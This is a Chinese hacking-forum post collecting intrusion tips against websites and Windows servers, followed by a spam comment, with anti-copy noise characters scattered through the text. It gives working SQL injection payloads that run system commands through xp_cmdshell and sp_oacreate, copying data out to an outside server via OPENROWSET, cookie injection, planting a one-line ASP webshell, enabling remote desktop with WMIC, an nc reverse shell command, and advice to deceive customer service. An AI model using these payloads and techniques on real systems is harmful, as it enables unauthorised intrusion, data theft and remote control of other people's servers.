中国网络渗透测试联盟

标题: 站库分离的方法 [打印本页]

作者: admin    时间: 2012-9-15 14:41
标题: 站库分离的方法
SA点数据库分离技术相关
+ U' W6 M9 H6 U3 [2 v% ~
- k. ]6 Q% _+ ]" d$ P5 o! w
& \1 T5 H" b! x  |3 |+ qSA点数据库分离搞法+语句:
" J9 n( k9 m4 ?7 q, x8 h' _2 P# X9 F4 ~9 l
注射点不显错,执行下面三条语句页面都返回正常。+ C( C- [3 x+ p# |7 @
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread'). C5 o8 c5 k4 x# E2 b4 T
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
0 f& s7 t/ }; }4 Aand 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')& Q2 k( Q" {  G+ N5 g( {
可以列目录,判断系统为2000,web与数据库分离+ \3 x. e: Z; Q# E3 X. |4 w
遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。5 F( W7 N8 W3 t- r8 u( d! u* @$ ?
在注射点上执行
9 U, K  @# z1 W1 y8 pdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--; m7 b. s9 e! Z4 K
页面返回正常,通过上面这个命令执行telnet我一个外网肉鸡得1433端口,然后netstat/an没有得到IP
3 j# E: j0 |" M还有我用NC监听得其他端口都没有得到IP。
( q  G( L7 i8 d; ]# k
4 m. G3 C) U% a通过注射点执行下面这两个命令页面都返回异常,在肉鸡上面同样也是没有得到IP。0 q' r0 L& j2 |' v/ P
'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--% _; k. Y) B5 }8 s0 f- l% }4 H# H

7 N+ t8 H9 a" o0 c$ J;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--" V& f1 G. A; Z8 T+ I8 A& R1 n

7 q+ j& O8 B$ ~0 w3 G现在就猜想是不是数据库是内网而且不能连外网。
# E- b! i2 {' U) D! Z. e* S5 J) K; w
( i/ k2 j7 Q$ R6 V8 l  r
% [6 Z( c( a( ]- h3 Naccess导出txt文本代码
- v( x  V; b9 S: W( P+ aSELECT * into [test.txt] in 'd:\web\' 'text;' from admin
" [. u( t5 ~: v  @8 E& p& M' B( y4 d# Y0 ^( l( w& }* D
3 x, H! _* {$ C! {3 h
( t% f- J! q& M/ n( @# }' T) v8 Q
自动跳转到指定网站代码头8 F, m3 L' {+ u2 ^
<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'>
( v1 G7 K7 v" `4 i- x
& ^7 J2 E# b! p7 ?0 @/ }. {6 q. W4 o3 u' t: |3 v/ S
入侵java or jsp站点时默认配置文件路径:6 l6 U# t1 W7 L, {
\web-inf\web.xml% J! F/ l" _  o$ {0 Z, i
tomcat下的配置文件位置:
. ^$ [& O4 a+ R  x\conf\server.xml            (前面加上tomcat路径)
: `' r6 k- x& j( Q5 K5 A, A\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
. a7 x' i8 K1 P' d5 @# R6 u3 A. `+ o* d5 w; o

6 H* s0 Q6 g% Z% O- d* L: P6 w4 l8 k4 }0 L7 V$ `
检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:$ z6 `8 d1 _. Q2 {$ b4 {
-1%23* ^0 ~' u& w5 U( e
>
: \/ v. b8 ?2 t% n( N! b: i2 K<
! C9 S# @# `  x" @" z" w7 c' ^1'+or+'1'='1
$ E/ d1 Q5 W7 x, T, [" \id=8%bf, p6 d6 _( m2 P5 K  N1 O
5 U' j5 J& J8 Q
全新注入点检测试法:  t7 k7 c! E6 ?; N
在URL地址后面加上-1,URL变成:http://gzkb.goomoo.cn/news.asp?id=123-1,如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞,是数字型的。
2 L% x; `6 Q1 O$ `
# z+ n, U2 o& D3 k  w在URL的地址后面加上'%2B',URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。& l! l5 l/ ]/ k) X; V

, P/ x7 B* f. s. M- X% g9 w, `* Q搜索型注入判断方法:6 u6 b) ?* ^1 r
北京%' and '1'='1' and '%'='. l/ u8 m# s) ^. i* R
北京%' and '1'='2' and '%'='
) P- G3 \2 T( H1 @4 z5 ?! @2 o
- ~2 U4 N( z0 M( B. }2 i% i9 _, e  D: W9 ^
COOKIES注入:
7 y( V5 [6 ~5 [9 G) r
! P$ w; z  ]% f" Ijavascript:alert(document.cookie="id="+escape("51 and 1=1"));( o4 g" S8 _  c1 z$ K/ N

8 Q3 Q) N# s" g# r* x, a* W& O2000专业版查看本地登录用户命令:
& ^7 K/ _3 W* U9 U$ g, Qnet config workstation5 N) d7 \' I, \* {  p/ T

% z+ E. W" ?: U& r. _- J
# x! K8 {7 U% W8 B' }2 Z! w2003下查看ipsec配置和默认防火墙配置命令:
) F$ C" Q1 v& G& ]7 Z" inetsh firewall show config
3 k0 o) G1 L! t# Lnetsh ipsec static show all
. O1 w" E" ~6 q7 _2 |
9 k" F6 t1 J- {) y不指派指定策略命令:9 Y% M- a& [+ t# I( c9 w5 j! l
netsh ipsec static set policy name=test assign=n  (test是不指派的策略名)
9 J. o3 J0 W9 {4 n8 v6 bnetsh ipsec static show policy all  显示策略名
9 m: ^+ t7 Z; C8 N  L
: t; o- Q" G1 i; e
/ d4 q6 K/ B+ v" z- [猜管理员后台小技巧:& L, M) F: j1 k: U/ a1 y8 r" n
admin/left.asp / N% q# ]0 y  c+ }
admin/main.asp6 M( w/ r4 U) `8 v4 ]
admin/top.asp: C' w5 Y! I  Q
admin/admin.asp ' |+ n" ^3 v4 A' T% ~8 c
会现出菜单导航,然后迅雷下载全部链接( G' B3 t, Y  \7 w- }8 p; d" E
2 o8 k' u$ Q/ Y( E+ j' H. ^! A
+ f5 ]( d: k+ M1 X, R  A; y8 U
社会工程学:
9 |" Q, m1 x3 U  P) X+ N用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人$ R- S5 Q" p2 n$ v, o3 a6 W
然后去骗客服
$ F; n" t3 t! _. ~* D# g! O& Y- h9 M; b9 i

% B) V# G5 r- i/ D' e5 U统计系统使用的是IT学习者的统计系统,在网上下载了一套回来研究。这样的系统拿webshell一般就二种:1.数据库插一句话木马,客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录,发现数据库扩展名是asp的,默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb,用明小子的数据库工具打开,发现有防下载的表。管理员的默认密码是:ITlearner。数据库插一句话木马这条路是走不通了,现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码:
6 D6 @6 `* q. i% W( ^查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">,
( v, D; w* o8 D) ]& d9 c* f8 q  存为html文件打开后在最后详细来访信息记录多少条记录,默认为100条框输入100:eval request(chr(35)),点击保存。提示无法找到,结果发现。
3 {! F3 K4 `6 ^2 h: t" J* V4 H# `6 C8 ^- t: r' s. Q1 H$ u! E
; [2 g: n$ @9 S/ j
  _: `/ n& J3 X! N. |6 C9 x$ o6 v
6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口,用ms03026、ms03039、ms03049、ms04011漏洞, 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口,用nodoom.exe入侵。(可用mydoomscan.exe查); i: M$ b5 r6 M; ]  F0 _

; H) x8 {# B: p5 d+ d5 l* Z: z
0 T! V# c" f6 p  K! w: M) H) o+ V+ B3 w& o  A% n' e% e6 S' d; O. K& }$ ]
CMD加密注册表位置1 \: d3 G! b' b% |1 P
(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor
; x* K+ v+ Q7 K0 _! ^3 UAutoRun; V7 g/ S5 H( o; d2 }& n
7 G# K2 C8 o) X
(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor
) T! R3 w. l; H8 r6 p4 D" R, eAutoRun
  n1 t$ |+ `2 g) E9 ]) @2 {1 `0 r7 j$ h
8 ?7 F, @2 q4 _) i
在找注入时搜索Hidden,把他改成test
- D* Z; }$ y- S" S5 J5 p% K* X# R; \" q7 ~3 X
' V. r: W& B2 ?
0 R2 i# @, Z( @5 \  C5 O, y! N4 w& o4 Z
mstsc /v:IP /console
) ]: R) L( f+ Z! }1 C; W5 @8 T  d
, {) J% ?8 W- K% s' V% V  D
一句话开3389:$ u7 Q; S! S* H9 \- X2 t" z8 k
# l0 X0 U" A8 b( K6 ~) x- c
最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>  
. G1 t/ g7 |  t0 J开远程:WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1          就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.
9 I  Z4 C& V. o5 v
) A8 n8 x* s9 F) ]
3 T0 m8 n& b, X7 g! U! p1 R知道表名,字段,使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:" z! R9 c( k' [
Insert into admin(user,pwd) values('test','test')! ]7 F3 |  d! P

8 n! k0 t1 ?$ A9 E) ^+ @& h0 [- ?  Y2 D5 I
NC反弹
; b4 G$ V. `' q+ y! r' o# b$ ^; ^& ~先在本机执行:     nc -vv -lp 监听的端口     (自己执行)   / @" Z9 u$ [% p. M4 F
然后在服务器上执行:  nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)
4 U3 r2 o5 I* _3 b
  e( D) n) b: |8 ]/ D0 P  F4 @0 n2 V2 q' v9 T, e( ~* f9 N
在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
8 E; w# J  k* x# F0 h) P- }; f$ i% o- E9 w6 g/ U0 P
有时候我们入侵的时候,在webshell没有办法列举网站的目录包括dir也不行的时候,这个时候可以尝试用DOS命令SUBST转移目录
( a6 _2 E3 e8 d1 k; {例如:- f) d$ r+ T1 ?, R# g
subst k: d:\www\ 用d盘www目录替代k盘
* V2 K7 z" ~" F+ @# [+ `subst k: /d  解除K盘代替
作者: 匿名    时间: 2017-12-20 02:36
We are a group of volunteers and starting a new scheme in our community.
Your web site offered us with valuable information to work on. You've done a formidable job and our entire community will
be grateful to you.
Website: Antispur Duo Forte proprieta




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2